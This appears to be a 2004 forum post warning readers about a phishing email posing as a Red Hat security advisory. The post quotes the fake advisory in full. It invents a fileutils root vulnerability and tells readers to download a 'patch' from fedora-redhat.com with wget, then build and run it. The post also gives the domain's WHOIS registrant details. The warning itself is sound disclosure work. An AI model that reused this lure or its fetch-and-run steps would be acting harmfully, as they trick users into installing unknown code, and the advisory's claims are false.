This is a WARNING, today i received an email from
security@redhat.com containing emergency security patch notice. Please understand, that email DOES NOT come from REDHAT. it's from 2ens11.uta.edu mail server. I have contacted University of Texas at arlington (near where i live) about this malcious email.
Do not download and install the patch on that email.
www.fedora-redhat.com is not a redhat site, it's a site set up by this person to get you to download this file and install it on your system or server. The content of the file is unknown .
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Original issue date: October 20, 2004
Last revised: October 20, 2004
Source: RedHat
A complete revision history is at the end of this file.
Dear RedHat user,
Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected.
The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:
° First download the patch from the Security RedHat mirror: wget
http://www.fedora-redhat.com/fileuti...6.patch.tar.gz
° Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
° cd fileutils-1.0.6.patch
° make
° ./inst
Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.
Thank you for your prompt attention to this serious matter,
RedHat Security Team.
Copyright © 2004 Red Hat, Inc. All rights reserved.
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This person who sent the email also registered the domain where you can download the FAKE patch
Domain Name.......... fedora-redhat.com
Creation Date........ 2004-10-24
Registration Date.... 2004-10-24
Expiry Date.......... 2005-10-24
Organisation Name.... Raymond Jackson
Organisation Address. 224 Cedar Avenue
Organisation Address.
Organisation Address. New York
Organisation Address. 95301
Organisation Address. NY
Organisation Address. UNITED STATES
Please look out for this kind of email as it could harm your system.
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